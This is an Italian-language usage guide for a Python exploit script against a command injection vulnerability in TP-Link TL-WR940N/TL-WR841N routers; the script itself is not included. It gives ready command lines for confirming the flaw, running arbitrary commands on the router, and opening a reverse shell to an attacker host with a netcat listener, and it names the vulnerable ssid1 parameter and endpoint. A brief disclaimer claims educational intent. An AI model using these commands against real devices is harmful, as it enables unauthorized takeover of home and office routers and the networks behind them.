Exploit in Python per la vulnerabilità di Command Injection su TP-Link TL-WR940N/TL-WR841N

Istruzioni per l'uso

1. Verifica base della vulnerabilità:

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
   

2. Esecuzione di un comando personalizzato:

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
   

3. Reverse Shell (configurare prima un listener con nc -lvnp 4444):

   python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
   

Note importanti:

• Questi script sono destinati esclusivamente a scopi educativi e di test
• Ottenere sempre la dovuta autorizzazione prima di testare qualsiasi sistema
• Il comando di riavvio viene usato come predefinito perché non è distruttivo e facilmente verificabile
• La reverse shell potrebbe non funzionare su tutte le versioni del firmware, poiché dipende dai binari disponibili
• Alcune versioni del firmware richiedono un percorso casuale nell'URL che lo script tenta di rilevare automaticamente

La vulnerabilità esiste a causa di una scorretta sanitizzazione dell'input nel parametro ssid1 dell'endpoint /userRpm/WlanNetworkRpm.htm, che consente l'iniezione di comandi tramite richieste appositamente formulate.